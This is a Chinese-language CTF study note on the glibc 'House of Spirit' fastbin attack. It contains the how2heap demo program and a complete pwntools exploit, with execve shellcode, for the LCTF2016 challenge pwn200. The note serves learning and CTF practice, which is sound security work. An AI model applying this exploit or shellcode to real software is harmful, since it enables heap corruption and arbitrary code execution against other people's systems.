Study Note - House of Spirit

学习总结,一个理解起来比较简单的堆的漏洞利用,是Fastbin Attack之一。

环境:Ubuntu16.04 64bit

参考:wikihow2heapfandaBruceFan

0x00 House of Spirit原理

这个需要先了解glibc的fastbin机制,大致上fastbin里的堆块大小都在2*SIZE_SZ ~ av->system_mem的范围之内,在x64的机器上,就是大于16字节,小于128字节(32位系统默认是8字节到64字节)。由于fastbin采取LIFO策略,最近释放的chunk会被更早地分配。这样的话,我们能组织House of Spirit攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
+--------------+
| |
| controllable | //可控区域1
| |
+--------------+
| |
|uncontrollable| //不可控区域(目标控制区域)
| |
+--------------+
| |
| controllable | //可控区域2
| |
+--------------+

在这种情形中,我们可以构造可控区域1和可控区域2,然后覆盖一个堆指针,使之指向可控区域1,然后free该块区域,使之进入到fastbin中,然后重新申请该区域,那么不可控区域就变得可操作了。

利用思路

1,我们需要通过可控区域1和可控区域2,把这个区域伪造成一个fast chunk

2,覆盖一个堆指针,让这个指针指向fast chunk

3,free这个fast chunk

4,申请刚刚释放的区域,这样不可控区域就变得可控了

free时,相关代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__libc_free (void *mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */

p = mem2chunk (mem);

if (chunk_is_mmapped (p)) /* release mmapped memory. */
{
munmap_chunk (p);
return;
}

ar_ptr = arena_for_chunk (p);
_int_free (ar_ptr, p, 0);
}

要将堆块释放到fastbin,需要满足一些限制:

  • fake chunk的ISMMAP位不能为1,当free时,如果时mmap的chunk,会做单独处理

  • fake chunk地址需要对齐,MALOC_ALIGN_MASK

    1
    2
    3
    4
    5
    6
    7
    8
    9
    #ifndef INTERNAL_SIZE_T
    # define INTERNAL_SIZE_T size_t
    #endif

    /* The corresponding word size. */
    #define SIZE_SZ (sizeof (INTERNAL_SIZE_T))

    /* The corresponding bit mask value. */
    #define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
  • fake chunk的size大小需要满足对应的fastbin的需求,同时也得对齐

  • fake chunk的next chunk的大小不能小于2 * SIZE_SZ,同时也不能大于av->system_mem

  • fake chunk对应的fastbin链表头部不能是该fake chunk,既不能构成double free的情况

0x01 栗子

借用how2heap的例子,源网页在此

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack.\n");

fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1);

fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);

fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size

fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize

fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];

fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);

fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

通过将fake_chunk[1]作为fast chunk的size,fake_chunk[9]作为fast chunk下一个chunk的size,然后把指针a指向fake_chunk[2],完成构造,然后free,再次申请,就能把对应区域申请回来。

House of Spirit的技术关键在于合理构造目标区域前后的数据,然后绕过相关的检测。

0x02 pwn200(LCTF2016)

刚开始的函数是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int sub_400A8E()
{
signed __int64 i; // [rsp+10h] [rbp-40h]
char v2[48]; // [rsp+20h] [rbp-30h]

puts("who are u?");
for ( i = 0LL; i <= 47; ++i )
{
read(0, &v2[i], 1uLL);
if ( v2[i] == 10 )
{
v2[i] = 0;
break;
}
}
printf("%s, welcome to xdctf~\n", v2);
puts("give me your id ~~?");
input_max4();
return sub_400A29();
}

可以看到v2可以刚好填满而没有0结尾,所以可以泄露出rbp。

啊自己尝试写了一下,惨不忍睹2333,还是搬运BruceFan的利用exp吧。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python
#coding:utf-8

from pwn import *

#r = remote('127.0.0.1', 6666)
p = process("./pwn200")

shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

def pwn():
# gdb.attach(p, "b *0x400991")

data = shellcode.ljust(46, 'a')
data += 'bb'
p.send(data)
p.recvuntil('bb')
rbp_addr = p.recvuntil(', w')[:-3]
rbp_addr = u64(rbp_addr.ljust(8,'\x00'))
print hex(rbp_addr)

fake_addr = rbp_addr - 0x90
shellcode_addr = rbp_addr - 0x50
# 输入id伪造下一个堆块的size
p.recvuntil('id ~~?')
p.sendline('32')

p.recvuntil('money~')
data = p64(0) * 5 + p64(0x41) # 伪造堆块的size
data = data.ljust(0x38, '\x00') + p64(fake_addr) # 覆盖堆指针
p.send(data)

p.recvuntil('choice : ')
p.sendline('2') # 释放伪堆块进入fastbin

p.recvuntil('choice : ')
p.sendline('1')
p.recvuntil('long?')
p.sendline('48')
p.recvuntil('\n48\n') # 将伪堆块申请出来
data = 'a' * 0x18 + p64(shellcode_addr) # 将eip修改为shellcode的地址
data = data.ljust(48, '\x00')
p.send(data)
p.recvuntil('choice : ')
p.sendline('3') # 退出返回时回去执行shellcode

p.interactive()

if __name__ == '__main__':
pwn()

0x03 总结

这个利用起来真的要计算清楚位置和大小,而且要熟练掌握chunk的结构。然后就是各种小地方的问题,要多调试。。。

fastbin attack 存在的原因在于 fastbin 是使用单链表来维护释放的堆块的,并且由 fastbin 管理的 chunk 即使被释放,其 next_chunk 的 prev_inuse 位也不会被清空。

构造好目标区域前后的数据。在House of Spirit中重要的好像就是两个地方的size以及size的标记位,其他的可以不管,比如pre size这样的就不需要,总的来说还是比unlink需要构造的地方少一点,好像(萌新之言。。。